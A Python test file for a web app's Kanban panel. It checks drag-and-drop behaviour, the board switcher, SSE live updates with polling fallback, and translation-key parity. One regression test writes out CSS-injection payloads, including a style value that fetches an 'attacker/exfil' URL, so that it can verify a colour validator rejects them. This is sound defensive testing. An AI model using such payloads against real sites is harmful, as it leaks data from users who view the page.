|
|
"kanban_stats",
|
|
"kanban_worker_log",
|
|
"kanban_block",
|
|
"kanban_unblock",
|
|
]
|
|
missing = [
|
|
f"{locale}:{key}"
|
|
for locale, body in locale_blocks
|
|
for key in required_keys
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
]
|
|
assert missing == []
|
|
|
|
|
|
|
|
def test_kanban_ui_parity_polish_adds_card_metadata_quick_actions_and_swimlanes():
|
|
for symbol in (
|
|
"function _kanbanRenderProfileLanes",
|
|
"function _kanbanCardQuickActions",
|
|
"function quickKanbanCardAction",
|
|
"function _kanbanRenderMarkdown",
|
|
"function _kanbanCardStalenessClass",
|
|
"function dragKanbanTask",
|
|
"function dropKanbanTask",
|
|
):
|
|
assert symbol in PANELS
|
|
for token in (
|
|
"kanban-profile-lanes",
|
|
"kanban-card-topline",
|
|
"kanban-card-actions",
|
|
"kanban-card-id",
|
|
"kanban-card-assignee",
|
|
"draggable=\"true\"",
|
|
"ondrop=\"dropKanbanTask",
|
|
"onkeydown=\"if(event.key==='Enter'||event.key===' ')",
|
|
):
|
|
assert token in PANELS
|
|
assert "target=\"_blank\" rel=\"noopener noreferrer\"" in PANELS
|
|
assert "javascript:" not in PANELS.lower()
|
|
|
|
|
|
def test_kanban_dragging_card_does_not_open_detail_on_drop_click():
|
|
"""Regression: drag/drop should move a card without opening task detail."""
|
|
assert "function _kanbanSuppressNextCardClick" in PANELS
|
|
assert "let _kanbanSuppressCardClickUntil" in PANELS
|
|
assert "function openKanbanCard" in PANELS
|
|
assert "function finishKanbanDrag" in PANELS
|
|
|
|
drag_fn = re.search(r"function dragKanbanTask\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert drag_fn, "dragKanbanTask() not found"
|
|
assert "_kanbanSuppressNextCardClick" in drag_fn.group(1), (
|
|
"drag start must arm the click suppressor so the trailing click after "
|
|
"drop cannot open the task detail pane"
|
|
)
|
|
|
|
finish_fn = re.search(r"function finishKanbanDrag\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert finish_fn, "finishKanbanDrag() not found"
|
|
assert "_kanbanSuppressNextCardClick" in finish_fn.group(1), (
|
|
"drag end must refresh the suppressor window before browsers emit a "
|
|
"trailing synthetic click"
|
|
)
|
|
|
|
drop_fn = re.search(r"async function dropKanbanTask\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert drop_fn, "dropKanbanTask() not found"
|
|
drop_body = drop_fn.group(1)
|
|
assert "_kanbanSuppressNextCardClick" in drop_body
|
|
assert "event.stopPropagation()" in drop_body
|
|
assert "updateKanbanTask(taskId, {status}, {openDetail: false})" in drop_body, (
|
|
"drag/drop status updates must refresh the board without opening the task detail"
|
|
)
|
|
|
|
update_fn = re.search(r"async function updateKanbanTask\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert update_fn, "updateKanbanTask() not found"
|
|
update_body = update_fn.group(1)
|
|
assert "const openDetail = !opts || opts.openDetail !== false;" in update_body
|
|
assert "if (openDetail) await loadKanbanTask" in update_body
|
|
|
|
card_template = re.search(r"return `<article class=\"kanban-card.*?</article>`;", PANELS, re.DOTALL)
|
|
assert card_template, "Kanban card template not found"
|
|
card_html = card_template.group(0)
|
|
assert "ondragend=\"finishKanbanDrag(event)\"" in card_html
|
|
assert "onclick=\"return openKanbanCard(event," in card_html
|
|
assert "onclick=\"loadKanbanTask" not in card_html, (
|
|
"Kanban cards must not call loadKanbanTask directly from onclick; "
|
|
"drag/drop needs a guarded click path"
|
|
)
|
|
|
|
open_fn = re.search(r"function openKanbanCard\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert open_fn, "openKanbanCard() not found"
|
|
open_body = open_fn.group(1)
|
|
for token in (
|
|
"Date.now()",
|
|
"_kanbanSuppressCardClickUntil",
|
|
"preventDefault",
|
|
"stopPropagation",
|
|
"loadKanbanTask",
|
|
):
|
|
assert token in open_body
|
|
|
|
|
|
def test_kanban_lifecycle_controls_do_not_offer_manual_running_start():
|
|
assert "quickKanbanCardAction(event,'${id}','running')" not in PANELS
|
|
assert "kanban_card_start" not in PANELS
|
|
assert "kanban_card_start" not in I18N
|
|
assert '<option value="running">Running</option>' not in INDEX
|
|
assert "Cannot set status to 'running' directly" not in PANELS
|
|
assert "kanban_work_queue_hint" in PANELS
|
|
assert "Preview dispatcher" in INDEX
|
|
assert "Nudge dispatcher" not in INDEX
|
|
|
|
|
|
def test_kanban_ui_parity_polish_css_and_i18n_exist():
|
|
for selector in (
|
|
".kanban-profile-lanes",
|
|
".kanban-profile-lane",
|
|
".kanban-card-actions",
|
|
".kanban-card-action",
|
|
".kanban-card-topline",
|
|
".kanban-card-stale-amber",
|
|
".kanban-card-stale-red",
|
|
".kanban-column.drop-target",
|
|
".hermes-kanban-md",
|
|
):
|
|
assert selector in STYLE
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
required_keys = ["kanban_lanes_by_profile", "kanban_card_complete", "kanban_card_archive", "kanban_unassigned", "kanban_work_queue_hint"]
|
|
missing = [
|
|
f"{locale}:{key}"
|
|
for locale, body in locale_blocks
|
|
for key in required_keys
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
]
|
|
assert missing == []
|
|
|
|
|
|
|
|
def test_kanban_review_feedback_static_ui_fixes_exist():
|
|
assert "function closeKanbanTaskDetail" in PANELS
|
|
assert "kanban-back-btn" in PANELS
|
|
assert "function _kanbanFormatTimestamp" in PANELS
|
|
assert "function _kanbanEventSummary" in PANELS
|
|
assert "data.log || {}" in PANELS
|
|
assert ".kanban-task-preview-header" in STYLE
|
|
assert ".kanban-back-btn" in STYLE
|
|
assert "@media (max-width: 640px)" in STYLE
|
|
assert "scroll-snap-type" in STYLE
|
|
assert "kanban-stats-grid" in PANELS
|
|
|
|
|
|
def test_kanban_task_detail_renderer_executes_with_log_and_formats_feedback():
|
|
import json
|
|
import subprocess
|
|
script = """
|
|
const fs = require('fs');
|
|
const vm = require('vm');
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
function esc(value) {
|
|
return String(value == null ? '' : value).replace(/[&<>\"']/g, ch => ({'&':'&','<':'<','>':'>','\"':'"',"'":'''}[ch]));
|
|
}
|
|
const context = {
|
|
console,
|
|
setInterval(){ return 1; },
|
|
document: { querySelectorAll(){ return []; }, getElementById(){ return null; }, addEventListener(){} },
|
|
window: { addEventListener(){} },
|
|
t(key){
|
|
const map = {
|
|
kanban_no_description:'No description', kanban_comments_count:'Comments ({0})', kanban_events_count:'Events ({0})',
|
|
kanban_links:'Links', kanban_runs_count:'Runs ({0})', kanban_worker_log:'Worker log', kanban_empty:'Empty',
|
|
kanban_no_comments:'No comments', kanban_no_events:'No events', kanban_no_runs:'No runs', kanban_add_comment:'Add comment',
|
|
kanban_block:'Block', kanban_unblock:'Unblock', kanban_back_to_board:'Back to board', kanban_task:'Task',
|
|
kanban_status_triage:'Triage', kanban_status_todo:'Todo', kanban_status_ready:'Ready', kanban_status_running:'Running',
|
|
kanban_status_blocked:'Blocked', kanban_status_done:'Done', kanban_status_archived:'Archived'
|
|
};
|
|
return map[key] || key;
|
|
},
|
|
esc, $(){ return null; }, api(){}, showToast(){}, li(){ return ''; }, S: {}
|
|
};
|
|
vm.createContext(context);
|
|
vm.runInContext(src, context);
|
|
const html = vm.runInContext(`_kanbanRenderTaskDetail({
|
|
task:{id:'t_1', title:'Demo', status:'ready', body:'Body'},
|
|
comments:[{body:'hello', author:'webui', created_at:1777931496}],
|
|
events:[{kind:'blocked', payload:{reason:'waiting'}, created_at:1777931496}],
|
|
links:{parents:['t_0'], children:[]},
|
|
runs:[],
|
|
log:{content:'worker log'}
|
|
})`, context);
|
|
console.log(JSON.stringify({html}));
|
|
"""
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
html = json.loads(result.stdout)["html"]
|
|
assert "worker log" in html
|
|
assert "kanban-back-btn" in html
|
|
assert "Back to board" in html
|
|
assert "1777931496" not in html
|
|
assert "waiting" in html
|
|
assert "ReferenceError" not in html
|
|
|
|
|
|
def test_kanban_readonly_banner_starts_hidden_and_is_toggled_on_load():
|
|
"""The 'Read-only view' banner must start hidden in the HTML and only
|
|
become visible when the bridge reports read_only=true. Always-visible
|
|
label is misleading when the kanban_db is fully writable.
|
|
"""
|
|
import os
|
|
here = os.path.dirname(os.path.abspath(__file__))
|
|
index_path = os.path.join(here, "..", "static", "index.html")
|
|
with open(index_path, "r", encoding="utf-8") as f:
|
|
html = f.read()
|
|
# Banner must be in HTML but default-hidden
|
|
assert 'class="kanban-readonly"' in html
|
|
assert 'data-i18n="kanban_read_only"' in html
|
|
# The banner element must have inline style="display:none" (default-hidden)
|
|
# A naive substring check is sufficient — there is exactly one such element.
|
|
banner_block = html[html.find('class="kanban-readonly"'):html.find('class="kanban-readonly"') + 200]
|
|
assert 'display:none' in banner_block, (
|
|
"Read-only banner must default to display:none in HTML to avoid "
|
|
"flashing the wrong message before loadKanban() resolves the actual "
|
|
"read_only flag from the API."
|
|
)
|
|
# And panels.js must toggle it based on _kanbanBoard.read_only
|
|
panels_path = os.path.join(here, "..", "static", "panels.js")
|
|
with open(panels_path, "r", encoding="utf-8") as f:
|
|
panels = f.read()
|
|
assert ".kanban-readonly" in panels, (
|
|
"panels.js must reference .kanban-readonly to toggle the banner"
|
|
)
|
|
assert "_kanbanBoard.read_only" in panels, (
|
|
"panels.js must consult _kanbanBoard.read_only when toggling the banner"
|
|
)
|
|
|
|
|
|
# ── Multi-board switcher UI tests ───────────────────────────────────────────
|
|
|
|
def test_kanban_board_switcher_markup_in_index():
|
|
"""The board switcher next to the Board title must be in index.html so
|
|
it loads on first paint without a JS round-trip."""
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
assert 'id="kanbanBoardSwitcherToggle"' in INDEX
|
|
assert 'id="kanbanBoardSwitcherMenu"' in INDEX
|
|
assert 'id="kanbanBoardSwitcherName"' in INDEX
|
|
# Switcher must be hidden by default — only revealed when ≥1 non-default
|
|
# board exists, otherwise it would clutter single-board deployments.
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
assert 'hidden>' in INDEX or 'hidden ' in INDEX # presence of hidden attr
|
|
|
|
|
|
def test_kanban_board_modal_markup_in_index():
|
|
"""The create/rename board modal lives at the bottom of body so the
|
|
fixed-positioned overlay isn't trapped inside any scroll container."""
|
|
for sel in (
|
|
'id="kanbanBoardModal"',
|
|
'id="kanbanBoardModalTitle"',
|
|
'id="kanbanBoardModalName"',
|
|
'id="kanbanBoardModalSlugInput"',
|
|
'id="kanbanBoardModalDesc"',
|
|
'id="kanbanBoardModalIcon"',
|
|
'id="kanbanBoardModalColor"',
|
|
'id="kanbanBoardModalError"',
|
|
'id="kanbanBoardModalSubmit"',
|
|
):
|
|
assert sel in INDEX
|
|
# Modal must be hidden by default
|
|
assert 'id="kanbanBoardModal" hidden' in INDEX
|
|
|
|
|
|
def test_kanban_board_switcher_handlers_in_panels():
|
|
"""Every UI affordance must have a corresponding JS handler."""
|
|
for fn in (
|
|
"async function loadKanbanBoards",
|
|
"function _renderKanbanBoardMenu",
|
|
"function toggleKanbanBoardMenu",
|
|
"async function switchKanbanBoard",
|
|
"function openKanbanCreateBoard",
|
|
"function openKanbanRenameBoard",
|
|
"function closeKanbanBoardModal",
|
|
"async function submitKanbanBoardModal",
|
|
"async function archiveKanbanBoard",
|
|
):
|
|
assert fn in PANELS, f"Missing handler: {fn}"
|
|
|
|
|
|
def test_kanban_board_switcher_icon_column_clamps_long_labels():
|
|
"""Regression for #2458: board metadata may use a short text label in the
|
|
icon/color slot. The menu must keep that label inside its own column instead
|
|
of letting it overlap the board title and count badge.
|
|
"""
|
|
rule = re.search(
|
|
r"\.kanban-board-switcher-item-icon\{(?P<body>.*?)\}",
|
|
STYLE,
|
|
flags=re.S,
|
|
)
|
|
assert rule, "missing .kanban-board-switcher-item-icon CSS rule"
|
|
compact = re.sub(r"\s+", "", rule.group("body"))
|
|
for required in (
|
|
"overflow:hidden",
|
|
"text-overflow:ellipsis",
|
|
"white-space:nowrap",
|
|
"max-width:7.5rem",
|
|
"min-width:18px",
|
|
):
|
|
assert required in compact
|
|
|
|
|
|
def test_kanban_board_switcher_calls_correct_endpoints():
|
|
"""The switcher must hit the right REST verbs to round-trip with the
|
|
bridge's multi-board contract."""
|
|
# GET /boards
|
|
assert "api('/api/kanban/boards'" in PANELS
|
|
# POST /boards (create)
|
|
assert "method: 'POST'" in PANELS
|
|
# POST /boards/<slug>/switch
|
|
assert "/api/kanban/boards/' + encodeURIComponent" in PANELS
|
|
assert "/switch'" in PANELS
|
|
# PATCH /boards/<slug>
|
|
assert "method: 'PATCH'" in PANELS
|
|
# DELETE /boards/<slug>
|
|
assert "method: 'DELETE'" in PANELS
|
|
|
|
|
|
def test_kanban_board_param_is_plumbed_into_api_calls():
|
|
"""Every existing kanban endpoint call must carry ?board=<slug> when
|
|
a non-default board is active. The shared helper is _kanbanBoardQuery()."""
|
|
assert "_kanbanBoardQuery" in PANELS
|
|
# Spot-check critical call sites
|
|
assert "/api/kanban/board' + (params.toString()" in PANELS # board with filters
|
|
assert "/api/kanban/config' + _kanbanBoardQuery()" in PANELS
|
|
assert "/api/kanban/stats' + _kanbanBoardQuery()" in PANELS
|
|
assert "/api/kanban/assignees' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
|
def test_kanban_active_board_persisted_to_localstorage():
|
|
"""The last-viewed board slug must persist to localStorage so a refresh
|
|
keeps the user on the same board."""
|
|
assert "KANBAN_BOARD_LS_KEY" in PANELS
|
|
assert "'hermes-kanban-active-board'" in PANELS
|
|
assert "_kanbanGetSavedBoard" in PANELS
|
|
assert "_kanbanSetSavedBoard" in PANELS
|
|
|
|
|
|
def test_kanban_profile_assignee_cache_has_invalidation_path():
|
|
"""Kanban assignee suggestions should stay aligned with profile mutations.
|
|
|
|
The cache in _kanbanLoadProfileNames() can become stale when profiles are
|
|
created or deleted in the same session. This adds an explicit
|
|
invalidation path and a short TTL so modal opens recover from same-session
|
|
mutations and cross-tab/CLI changes.
|
|
"""
|
|
assert "_KANBAN_PROFILE_NAMES_CACHE_TTL_MS" in PANELS
|
|
assert "_kanbanProfileNamesCacheAt" in PANELS
|
|
assert "_invalidateKanbanProfileCache" in PANELS
|
|
|
|
load_start = PANELS.find("async function _kanbanLoadProfileNames(){")
|
|
assert load_start != -1, "Missing _kanbanLoadProfileNames() declaration"
|
|
load_end = PANELS.find("\n}\n\nasync function _kanbanPopulateAssigneeSelect", load_start)
|
|
if load_end == -1:
|
|
load_end = PANELS.find("\n}\n\nfunction openKanbanCreate", load_start)
|
|
load_body = PANELS[load_start:load_end] if load_end != -1 else PANELS[load_start:load_start + 2200]
|
|
assert "Date.now() - _kanbanProfileNamesCacheAt" in load_body
|
|
assert "_kanbanProfileNamesCacheAt = Date.now()" in load_body
|
|
|
|
save_start = PANELS.find("async function saveProfileForm(){")
|
|
assert save_start != -1, "Missing saveProfileForm() declaration"
|
|
save_end = PANELS.find("\n}\n\n// Back-compat", save_start)
|
|
save_body = PANELS[save_start:save_end if save_end != -1 else save_start + 2000]
|
|
assert "_invalidateKanbanProfileCache();" in save_body, (
|
|
"Profile create flow should invalidate Kanban assignee cache after success."
|
|
)
|
|
|
|
delete_start = PANELS.find("async function deleteProfile(name) {")
|
|
assert delete_start != -1, "Missing deleteProfile() declaration"
|
|
delete_end = PANELS.find("\n\n// ── Memory panel", delete_start)
|
|
delete_body = PANELS[delete_start:delete_end if delete_end != -1 else delete_start + 1300]
|
|
assert "_invalidateKanbanProfileCache();" in delete_body, (
|
|
"Profile delete flow should invalidate Kanban assignee cache after success."
|
|
)
|
|
|
|
ui_delete_start = PANELS.find("async function deleteCurrentProfile(){")
|
|
assert ui_delete_start != -1, "Missing deleteCurrentProfile() declaration"
|
|
ui_delete_end = PANELS.find("\n\nfunction renderProfileDropdown", ui_delete_start)
|
|
ui_delete_body = PANELS[ui_delete_start:ui_delete_end if ui_delete_end != -1 else ui_delete_start + 1300]
|
|
assert "_invalidateKanbanProfileCache();" in ui_delete_body, (
|
|
"Profile detail delete flow (deleteCurrentProfile) should invalidate Kanban assignee cache after success."
|
|
)
|
|
|
|
|
|
def test_kanban_archive_board_uses_showConfirmDialog():
|
|
"""Archive is destructive → must use the styled showConfirmDialog,
|
|
not native confirm() (which can't be styled or i18n'd)."""
|
|
# The archive path
|
|
arch_idx = PANELS.find("async function archiveKanbanBoard")
|
|
assert arch_idx > 0
|
|
# Look at the next 800 chars
|
|
archive_block = PANELS[arch_idx:arch_idx + 800]
|
|
assert "showConfirmDialog" in archive_block
|
|
assert "danger: true" in archive_block
|
|
|
|
|
|
# ── SSE event stream UI tests ───────────────────────────────────────────────
|
|
|
|
def test_kanban_sse_eventsource_subscription_is_default():
|
|
"""The Kanban panel must subscribe to /api/kanban/events/stream via
|
|
EventSource as the default live-update mechanism (the multi-board PR
|
|
replaced 30s polling with SSE for ~300ms latency parity with the
|
|
agent dashboard's WebSocket /events). 30s polling remains as the
|
|
auto-fallback after repeated SSE failures."""
|
|
assert "new EventSource" in PANELS
|
|
assert "/api/kanban/events/stream" in PANELS
|
|
assert "_kanbanStartEventStream" in PANELS
|
|
assert "addEventListener('hello'" in PANELS
|
|
assert "addEventListener('events'" in PANELS
|
|
|
|
|
|
def test_kanban_sse_falls_back_to_polling_on_repeated_failure():
|
|
"""After 3 SSE failures the client must fall back to HTTP polling so
|
|
a flaky connection doesn't leave the user with stale data."""
|
|
assert "_kanbanEventSourceFailures" in PANELS
|
|
assert ">= 3" in PANELS # the failure threshold
|
|
assert "setInterval(refreshKanbanEvents" in PANELS # the fallback
|
|
|
|
|
|
def test_kanban_sse_torn_down_on_panel_switch():
|
|
"""The long-lived SSE connection must close when the user leaves the
|
|
Kanban panel — leaving it open wastes a server thread and a client
|
|
connection slot."""
|
|
assert "_kanbanStopPolling" in PANELS
|
|
# The teardown must be wired into switchPanel
|
|
assert "prevPanel === 'kanban'" in PANELS
|
|
assert "_kanbanStopPolling()" in PANELS
|
|
|
|
|
|
def test_kanban_sse_refresh_is_debounced():
|
|
"""A burst of events shouldn't trigger N reloads — must coalesce."""
|
|
assert "_scheduleKanbanRefresh" in PANELS
|
|
assert "_kanbanRefreshScheduled" in PANELS
|
|
# 250ms debounce window
|
|
assert "}, 250)" in PANELS
|
|
|
|
|
|
def test_kanban_board_color_is_validated_against_css_injection():
|
|
"""`board.color` is interpolated into a `style=""` attribute on the
|
|
switcher icon. esc() escapes HTML but does NOT prevent CSS-context
|
|
injection: an attacker (with WebUI write access, or via the agent CLI
|
|
which doesn't validate either) could set color to
|
|
`red;background:url('http://attacker/exfil')` and have the malicious
|
|
URL fetched whenever any user opens the board switcher.
|
|
|
|
Drive the helper through Node and assert that named colors / hex
|
|
codes are accepted while every CSS-injection shape is rejected.
|
|
"""
|
|
import json
|
|
import subprocess
|
|
script = """
|
|
const fs = require('fs');
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
const start = src.indexOf('function _kanbanSafeColor');
|
|
if (start < 0) { console.error('_kanbanSafeColor missing'); process.exit(2); }
|
|
// Grab the function body up to and including the closing `}` line.
|
|
const tail = src.slice(start);
|
|
const end = tail.indexOf('\\n}\\n') + 2;
|
|
const fn = tail.slice(0, end);
|
|
const ctx = {};
|
|
new Function('out', fn + '; out.fn = _kanbanSafeColor;')(ctx);
|
|
const cases = [
|
|
['#fff', '#fff'],
|
|
['#3b82f6', '#3b82f6'],
|
|
['red', 'red'],
|
|
['Blue', 'Blue'],
|
|
// injection attempts must all collapse to '' so the renderer drops
|
|
// the `color:` rule entirely.
|
|
["red;background:url('http://attacker/exfil')", ''],
|
|
['red;background-image:url(http://x)', ''],
|
|
['expression(alert(1))', ''],
|
|
['#zzz', ''],
|
|
['', ''],
|
|
[null, ''],
|
|
[undefined, ''],
|
|
];
|
|
const results = cases.map(([input, expected]) => ({
|
|
input, expected, actual: ctx.fn(input)
|
|
}));
|
|
console.log(JSON.stringify(results));
|
|
"""
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
results = json.loads(result.stdout)
|
|
failures = [r for r in results if r["actual"] != r["expected"]]
|
|
assert not failures, f"_kanbanSafeColor mismatches: {failures}"
|
|
|
|
# The renderer must call the helper, not pass b.color through esc()
|
|
# directly into the style attribute.
|
|
assert "_kanbanSafeColor(b.color)" in PANELS
|
|
assert "color:${esc(b.color)}" not in PANELS
|
|
|
|
|
|
def test_kanban_locale_parity():
|
|
"""Every kanban_* i18n key in the English locale must exist in all
|
|
non-English locale blocks. The kanban panel has its own set of ~86
|
|
keys (kanban_board, kanban_task, …) that are rendered via t() — a
|
|
missing key silently falls back to English, which is acceptable for
|
|
content keys but confusing for UI labels the user expects to see
|
|
translated.
|
|
|
|
This test catches regressions where a new kanban key is added to the
|
|
English block but not to one or more locale blocks. Pattern borrowed
|
|
from test_lineage_segment_locale_keys_are_defined_for_sidebar_locales
|
|
in test_session_lineage_collapse.py.
|
|
|
|
Refs: #1973
|
|
"""
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
assert locale_blocks, "No locale blocks found in i18n.js"
|
|
|
|
# Collect the kanban_* keys from the English block.
|
|
en_name = "en"
|
|
en_body = None
|
|
for name, body in locale_blocks:
|
|
if name == en_name:
|
|
en_body = body
|
|
break
|
|
assert en_body is not None, "English locale block not found"
|
|
|
|
en_keys = set(re.findall(r"(kanban_\w+)\s*:", en_body))
|
|
assert en_keys, "No kanban_* keys found in English locale"
|
|
|
|
# Verify each non-English locale has the same set.
|
|
failures = []
|
|
for name, body in locale_blocks:
|
|
if name == en_name:
|
|
continue
|
|
loc_keys = set(re.findall(r"(kanban_\w+)\s*:", body))
|
|
missing = en_keys - loc_keys
|
|
extra = loc_keys - en_keys
|
|
if missing:
|
|
failures.append(f"{name}: missing {sorted(missing)}")
|
|
if extra:
|
|
failures.append(f"{name}: extra {sorted(extra)}")
|
|
|
|
assert not failures, (
|
|
"Kanban i18n key parity violations:\n" + "\n".join(failures)
|
|
)
|